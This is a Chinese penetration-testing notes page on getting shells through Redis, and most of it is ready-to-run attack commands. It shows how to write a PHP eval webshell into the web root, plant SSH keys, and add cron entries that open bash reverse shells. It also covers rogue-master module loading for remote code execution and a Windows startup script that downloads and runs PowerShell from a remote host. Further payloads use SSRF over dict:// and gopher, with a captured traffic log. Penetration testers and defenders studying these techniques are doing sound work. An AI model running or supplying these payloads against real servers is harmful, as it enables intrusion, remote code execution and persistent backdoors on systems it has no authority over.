渗透经验
数据库利用
Mysql
Mssql
Oracle
PostgreSQL
Redis
查询关键字段记录数量
-
+
首页
Redis
# GetShell ### 写webshell - 已知web的绝对路径 - 对应目录具有读写权限 ``` redis-cli -h 192.168.1.154 config set dir /var/www/html set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n" config set dbfilename webshell.php save ``` ### 写入ssh公钥getshell - redis服务为root权限 - 允许密钥登录 - linux ``` config set dir /root/.ssh config set dbfilename authorized_keys set xxssh "\n\nssh-rsa xxxxxx\n\n" save ``` ### 计划任务反弹shell - redis服务为root权限启动 ```bash config set dir /var/spool/cron/ config set dbfilename root set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n" save ``` tips:**crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行 `crontab -u root /var/spool/cron/crontabs/root` 通过语法检查后,才能执行计划任务。 最后补充一下,可进行利用的cron有如下几个地方: - /etc/crontab 这个是肯定的 - /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 - /var/spool/cron/root centos系统下root用户的cron文件 - /var/spool/cron/crontabs/root debian系统下root用户的cron文件 ### 主从rce - redis服务为root权限启动 - redis 4.x/5.x 本质上就是加载一个so文件,用来执行命令。和udf差不多。如果本身就可以上传文件的情况下,直接上传so文件加载即可,不用利用主从。主从的意思就是把当前redis设置为备份库,等着把恶意的远程db备份过来,进行加载。 ``` git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make ``` 开启恶意redis一键rce ``` git clone https://github.com/Ridter/redis-rce python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so python redis-rce.py -r 10.10.30.171 -p 44711 -L 10.10.30.171 -L 12138 -f exp.so -v ``` ``` https://github.com/vulhub/redis-rogue-getshell 需要python3.0以上 编译 >cd RedisModulesSDK/ >make 会在此目录下生成exp.so 执行命令 >python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd" ``` ``` https://github.com/n0b0dyCN/redis-rogue-server.git python3 redis-rogue-server.py --rhost 10.10.30.171 --rport 8407 --lhost 10.10.30.171 --lport 1218 ``` #### 手动操作 redis加载远程exp.so命令执行,配合被动连接使用 https://github.com/Dliv3/redis-rogue-server ``` #设置redis的备份路径为当前目录(注意目录权限问题) config set dir ./ #设置备份文件名为exp.so,默认为dump.rdb config set dbfilename exp.so #设置主服务器IP和端口 slaveof 192.168.172.129 21000 #加载恶意模块 module load ./exp.so #切断主从,关闭复制功能 slaveof no one #执行系统命令 system.exec 'whoami' ``` 还可以写无损文件 https://github.com/r35tart/RedisWriteFile 还可以主从复制覆写shadow ### windows系统主从利用 - 需要启动项目录的写入权限 - 服务器需要重启 ``` config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" config set dbfilename shell.bat set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n" save ``` ## win利用dll https://github.com/learner-ing/redis-rce ## win系统getshell https://xz.aliyun.com/t/7940 总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。 但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢? 运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。 # Other ## ssrf 攻击未授权访问redis ``` # 清空 key dict://172.72.23.27:6379/flushall # 设置要操作的路径为定时任务目录 dict://172.72.23.27:6379/config set dir /var/spool/cron/ # 在定时任务目录下创建 root 的定时任务文件 dict://172.72.23.27:6379/config set dbfilename root # 写入 Bash 反弹 shell 的 payload dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" # 保存上述操作 dict://172.72.23.27:6379/save ``` 如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref ## ssrf 攻击需要验证redis 可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码 可用socat来抓包 ``` socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 ``` 具体流量包如下(实时显示) ``` [root@40d4066eb5c7 /]# socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 > 2022/02/12 11:06:22.035396 length=17 from=0 to=16 *1\r $7\r COMMAND\r < 2022/02/12 11:06:22.035601 length=34 from=0 to=33 -NOAUTH Authentication required.\r > 2022/02/12 11:06:32.232475 length=28 from=17 to=44 *2\r $4\r auth\r $8\r P@ssw0rd\r < 2022/02/12 11:06:32.232688 length=5 from=34 to=38 +OK\r > 2022/02/12 11:06:38.022064 length=18 from=45 to=62 *1\r $8\r flushall\r < 2022/02/12 11:06:38.023641 length=5 from=39 to=43 +OK\r > 2022/02/12 11:06:45.908709 length=54 from=63 to=116 *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r < 2022/02/12 11:06:45.908934 length=5 from=44 to=48 +OK\r > 2022/02/12 11:06:53.107136 length=57 from=117 to=173 *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $9\r shell.php\r < 2022/02/12 11:06:53.107523 length=5 from=49 to=53 +OK\r > 2022/02/12 11:07:02.007001 length=52 from=174 to=225 *3\r $3\r set\r $1\r x\r $25\r <?php eval($_GET[1]);?> \r < 2022/02/12 11:07:02.007210 length=5 from=54 to=58 +OK\r > 2022/02/12 11:07:10.569458 length=14 from=226 to=239 *1\r $4\r save\r < 2022/02/12 11:07:10.570998 length=5 from=59 to=63 +OK\r ``` 整理后关键包 ``` *2\r $4\r auth\r $8\r P@ssw0rd\r *1\r $8\r flushall\r *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $9\r shell.php\r *3\r $3\r set\r $1\r x\r $25\r <?php eval($_GET[1]);?> \r *1\r $4\r save\r ``` # References - https://djhons.com/2021/10/29/61.html - https://www.anquanke.com/post/id/214108 - https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf - https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-25
admin
2022年3月13日 20:13
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
关于 睿文
如果睿文给你带来了帮助,欢迎对作者进行一些打赏捐助,这将有力支持作者持续投入精力更新和维护文档,感谢你的捐助!
微信
支付宝
QQ
PayPal
Markdown文件
分享
链接
类型
密码
更新密码